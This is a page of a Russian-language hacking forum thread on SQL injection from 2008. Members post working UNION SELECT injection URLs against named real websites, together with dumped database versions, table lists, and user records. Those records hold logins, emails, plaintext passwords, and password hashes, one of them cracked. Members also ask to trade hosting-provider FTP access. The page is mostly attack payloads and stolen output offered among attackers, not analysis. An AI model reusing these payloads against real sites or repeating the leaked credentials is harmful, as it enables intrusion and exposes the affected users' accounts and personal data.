SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 358 of 798
  1. vladvk

    vladvk New Member

    Joined:
    22 Dec 2008
    Messages:
    16
    Likes Received:
    1
    Reputations:
    0
    Будь другом дай, пжл.
    Мне сайт не интересен, я тока учусь
     
    #7141 vladvk, 27 Dec 2008
  2. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Осознаешь, что говоришь? Цена его >100$, а те нашару =))) Это не фтп к сайту, а к хостеру, в которого есть больше чем 100доменов....
     
    #7142 mailbrush, 27 Dec 2008
  3. vladvk

    vladvk New Member

    Joined:
    22 Dec 2008
    Messages:
    16
    Likes Received:
    1
    Reputations:
    0
    Почему на шару у меня есть вкусняшка на обмен
    ася:452313199
     
    #7143 vladvk, 27 Dec 2008
  4. Thrasher88

    Thrasher88 Elder - Старейшина

    Joined:
    18 Apr 2008
    Messages:
    62
    Likes Received:
    13
    Reputations:
    0
    Ловите скули в тему:
    Оба - сайты хостинг-провайдеров! :))
     
    #7144 Thrasher88, 27 Dec 2008
    Last edited: 28 Dec 2008
    1 person likes this.
  5. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    Поиграем в пейнтболл!

    ТИЦ = 1100
    PageRank = 6

    http://www.paintball.ru/next.php?id=999930+union+select+1,2,concat_ws(0x3a3a,version(),user(),database())--

    Database Version: 5.0.67-community-log
    Database name: paintball_dbn
    User name: paintball_dbn@localhost


    http://www.paintball.ru/next.php?id=999930+union+select+1,2,concat_ws(0x3a3a,id,login,pass,usermail)+from+pb_users+limit+10,10--

    Getting Data from table pb_users from database paintball_dbn

    id:usertype:usermail:login:pass

    [1]:2:1:[email protected]:club2:kr3Bx
    [2]:4:0:[email protected]:team1:1qn0i
    [3]:6:1:eek:[email protected]:club5:299TV
    [4]:8:1:p[email protected]:club7:AGKrv
    [5]:25:1:[email protected]:club23:73mZe
    [6]:10:1:[email protected]:club9:1on38
    [7]:11:1:[email protected]:club10:l0F72
    [8]:59:1:[email protected]:club43:M4M56
    [9]:58:1:[email protected]:club42:vk17I

    их много...
     
    #7145 spherics, 27 Dec 2008
  6. cash$$$

    cash$$$ Banned

    Joined:
    6 Jan 2008
    Messages:
    385
    Likes Received:
    246
    Reputations:
    10
    version: 5.0.27
    user: npadd@localhost
    database: npadd

    version: 5.0.32-Debian_7etch8
    user: fakadmin_1@localhost
    database: fakadmin_db1

    Таблицы:

    Code:
    COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
KEY_COLUMN_USAGE
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
STATISTICS
TABLES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
artikels
pages
users
    version: 5.0.45-community-nt
    user: [email protected]
    database: improvision

    Таблицы:

    Code:
    COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
KEY_COLUMN_USAGE
PROFILING
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
STATISTICS
TABLES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
ff_badindex
ff_badindex_sequence
ff_clickthrus
ff_clickthrus_sequence
ff_hierarchy
ff_hierarchy_sequence
ff_index
ff_index_sequence
ff_last
ff_last_sequence
ff_searches
ff_searches_sequence
ff_users
ff_users_sequence
application_centre
downloads
employment
events
impro_news
journal_references
lab_of_the_month
order_enquiries_contacts
registrations
tech_notes
vipoir_tips
columns_priv
db
func
help_category
help_keyword
help_relation
help_topic
host
proc
procs_priv
tables_priv
time_zone
time_zone_leap_second
time_zone_name
time_zone_transition
time_zone_transition_type
user
autoresponders
banned_emails
customfield_lists
customfields
form_customfields
form_lists
form_pages
forms
jobs
jobs_lists
links
list_subscriber_bounces
list_subscribers
list_subscribers_unsubscribe
lists
newsletters
old_links
queues
queues_sequence
settings
stats_autoresponders
stats_emailforwards
stats_emailopens
stats_linkclicks
stats_links
stats_newsletter_lists
stats_newsletters
stats_sequence
stats_users
subscribers_data
templates
user_access
user_permissions
user_stats_emailsperhour
users
phpqadmin
phpqanswer
phpqanswerchoice
phpqquestion
phpqsession
phpqsurvey
phpquser
phpbb3_acl_groups
phpbb3_acl_options
phpbb3_acl_roles
phpbb3_acl_roles_data
phpbb3_acl_users
phpbb3_attachments
phpbb3_banlist
phpbb3_bbcodes
phpbb3_bookmarks
phpbb3_bots
phpbb3_config
phpbb3_confirm
phpbb3_disallow
phpbb3_drafts
phpbb3_extension_groups
phpbb3_extensions
phpbb3_forums
phpbb3_forums_access
phpbb3_forums_track
phpbb3_forums_watch
phpbb3_groups
phpbb3_icons
phpbb3_lang
phpbb3_log
phpbb3_moderator_cache
phpbb3_modules
phpbb3_poll_options
phpbb3_poll_votes
phpbb3_posts
phpbb3_privmsgs
phpbb3_privmsgs_folder
phpbb3_privmsgs_rules
phpbb3_privmsgs_to
phpbb3_profile_fields
phpbb3_profile_fields_data
phpbb3_profile_fields_lang
phpbb3_profile_lang
phpbb3_ranks
phpbb3_reports
phpbb3_reports_reasons
phpbb3_search_results
phpbb3_search_wordlist
phpbb3_search_wordmatch
phpbb3_sessions
phpbb3_sessions_keys
phpbb3_sitelist
phpbb3_smilies
phpbb3_styles
phpbb3_styles_imageset
phpbb3_styles_imageset_data
phpbb3_styles_template
phpbb3_styles_template_data
phpbb3_styles_theme
phpbb3_topics
phpbb3_topics_posted
phpbb3_topics_track
phpbb3_topics_watch
phpbb3_user_group
phpbb3_users
phpbb3_warnings
phpbb3_words
phpbb3_zebra
phpbb_auth_access
phpbb_banlist
phpbb_categories
phpbb_config
phpbb_confirm
phpbb_disallow
phpbb_forum_prune
phpbb_forums
phpbb_groups
phpbb_posts
phpbb_posts_text
phpbb_privmsgs
phpbb_privmsgs_text
phpbb_ranks
phpbb_search_results
phpbb_search_wordlist
phpbb_search_wordmatch
phpbb_sessions
phpbb_smilies
phpbb_themes
phpbb_themes_name
phpbb_topics
phpbb_topics_watch
phpbb_user_group
phpbb_users
phpbb_vote_desc
phpbb_vote_results
phpbb_vote_voters
phpbb_words
    version: 4.0.27-standard
    user: dbo162775637@localhost
    database: db162775637
     
    #7146 cash$$$, 28 Dec 2008
    4 people like this.
  7. I love this game

    I love this game Elder - Старейшина

    Joined:
    23 Dec 2008
    Messages:
    167
    Likes Received:
    38
    Reputations:
    18
    4.1.22-log


    4.1.22-standard


    4.1.22-standard
     
    #7147 I love this game, 28 Dec 2008
    1 person likes this.
  8. masternet

    masternet Elder - Старейшина

    Joined:
    18 May 2008
    Messages:
    58
    Likes Received:
    43
    Reputations:
    0
    http://encycl.anthropology.ru/article.php?id=-1+union+select+1,unhex(hex(group_concat(table_name))),3,4,5,6,7,8,9,10+from+information_schema.tables--
    http://encycl.anthropology.ru/article.php?id=-1+union+select+1,unhex(hex(group_concat(column_name))),3,4,5,6,7,8,9,10+from+information_schema.columns+where+table_name=0x75736572--
    http://encycl.anthropology.ru/article.php?id=-1+union+select+1,concat_ws(char(32,45,32),usr_login,usr_pass),3,4,5,6,7,8,9,10+from+user--
     
    #7148 masternet, 28 Dec 2008
  9. -=Razor=-

    -=Razor=- Member

    Joined:
    20 Dec 2008
    Messages:
    30
    Likes Received:
    29
    Reputations:
    3
    4.1.22etver@localhostetver

    ТИЦ:1500
    PR:5




    4.1.22xennewsx3nn3ws@localhost


    4.1.22-standardmoc_dbmoc_usermoc@localhost

    ТИЦ:20
    PR: 5
     
    #7149 -=Razor=-, 28 Dec 2008
  10. masternet

    masternet Elder - Старейшина

    Joined:
    18 May 2008
    Messages:
    58
    Likes Received:
    43
    Reputations:
    0
    http://www.kitana.ru/razdel.php?id=-1+union+select+1,2,3,unhex(hex(group_concat(table_name)))+from+information_schema.tables--
    http://www.kitana.ru/razdel.php?id=-1+union+select+1,2,3,unhex(hex(group_concat(column_name)))+from+information_schema.columns+where+table_name=0x706572736f6e616c--
    http://www.kitana.ru/razdel.php?id=-1+union+select+1,2,3,concat_ws(char(32,45,32),id,login,psw,type,fio,phone,email)+from+personal
    ТИЦ : 220 PR: 4
    не смеши мои носки..пробелы удали и всё..а то они автоматом ставятся..
    ----------
    http://nodel.org/events.php?ID=-1+union+select+1,unhex(hex(group_concat(table_name))),3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+information_schema.tables--
    пр -5 тиц -10
     
    #7150 masternet, 28 Dec 2008
    Last edited: 28 Dec 2008
    1 person likes this.
  11. Yanker

    Yanker Elder - Старейшина

    Joined:
    18 Jul 2008
    Messages:
    41
    Likes Received:
    7
    Reputations:
    5
    masternet, там походу пофиксили ужо...
     
    #7151 Yanker, 28 Dec 2008
  12. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    С игрушкой известной связано Legends of Norrath !

    Впечатлило количество....)

    http://lonloot.ru/index.php?l=-4+union+select+1,2,concat_ws(0x3a3a,version(),user(),database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165--

    Database Version: 5.0.51a-community-log
    Database name: a12kbru_lon
    User name: a12kbru_lon@localhost


    Getting Data from table users from database a12kbru_lon
    Fields id:user_name:user_pass:e_mail:group_id:fio:in_orders:last_orders

    [1]:24:nikonoff:cc1be2756ee268969328208597b5bd90:[email protected]:1:Константин Никонов:1:1
     
    #7152 spherics, 28 Dec 2008
    2 people like this.
  13. sabe

    sabe Elder - Старейшина

    Joined:
    16 Mar 2007
    Messages:
    313
    Likes Received:
    178
    Reputations:
    14
    Berkeley.edu - PR 9
    пр6 поддомена ) но жаль ничего у меня не вышло) смотрим...

    -=Razor=-
    http://www.etver.ru/meet/validate.php?validate=0&action=edit
    не канает (
     
    #7153 sabe, 28 Dec 2008
    Last edited: 28 Dec 2008
    1 person likes this.
  14. j0ker13

    j0ker13 Elder - Старейшина

    Joined:
    28 Jul 2008
    Messages:
    199
    Likes Received:
    16
    Reputations:
    5
    http://fc.medifirstsys.com/profile.php?pid=-1+union+select+1,2,concat_ws(0x3a,username,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+users+limit+1,1/*

    emedihub@localhost:5.0.45

    amy:866c7ee013c58f01fa153a8d32c9ed57 -> 7788
     
    #7154 j0ker13, 28 Dec 2008
    3 people like this.
  15. Iceangel_

    Iceangel_ Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    494
    Likes Received:
    532
    Reputations:
    158
    Code:
    http://www.kitana.ru/razdel.php?id=-1+union+select+1,2,3,concat_ws(char(32,45,32),id,login,psw,type,fio,phone,email)+from+personal
ТИЦ : 220 PR: 4
    а что админку не выложил? ;)
    1.5 года назад на ней скуль нашел, пассы к админке несколько месяцев назад подходили...
     
    #7155 Iceangel_, 28 Dec 2008
  16. -=megahertz=-

    -=megahertz=- Elder - Старейшина

    Joined:
    23 May 2007
    Messages:
    79
    Likes Received:
    16
    Reputations:
    1
    http://inf.by/metal/?grid=-61+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/*
    Version: 5.0.41
    Db name: blogdb
    User: blogadmin@localhost
     
    #7156 -=megahertz=-, 28 Dec 2008
  17. masternet

    masternet Elder - Старейшина

    Joined:
    18 May 2008
    Messages:
    58
    Likes Received:
    43
    Reputations:
    0
    http://www.eutrainingsite.com/open_details.php?id=-1+union+select+1,unhex(hex(group_concat(table_name))),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,2,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55+from+information_schema.tables--
    http://www.eutrainingsite.com/open_details.php?id=-1+union+select+1,unhex(hex(group_concat(column_name))),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,2,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55+from+information_schema.columns+where+table_name=0x61646d696e--
    http://www.eutrainingsite.com/open_details.php?id=-1+union+select+1,concat_ws(char(32,45,32),felh_nev,jelszo,jog_szint),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,2,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55+from+admin--
    тиц 10 пр- 7
    доступ в админку запрещён...
     
    #7157 masternet, 28 Dec 2008
    1 person likes this.
  18. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    MSSQL
     
    #7158 $n@ke, 28 Dec 2008
    1 person likes this.
  19. Gemini12

    Gemini12 Member

    Joined:
    24 Dec 2008
    Messages:
    58
    Likes Received:
    5
    Reputations:
    0
    http://presscenter.kz/index.php?show=news&id=1+union+select+1,2,3,4,5--

    нихера не понял...
     
    #7159 Gemini12, 28 Dec 2008
  20. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    User exhibitions_user@localhost
    Version: 5.0.22-Debian_0ubuntu6.06.11-log
    Dbname: exhibitions
     
    #7160 $n@ke, 28 Dec 2008
(You must log in or sign up to post here.)
Page 358 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.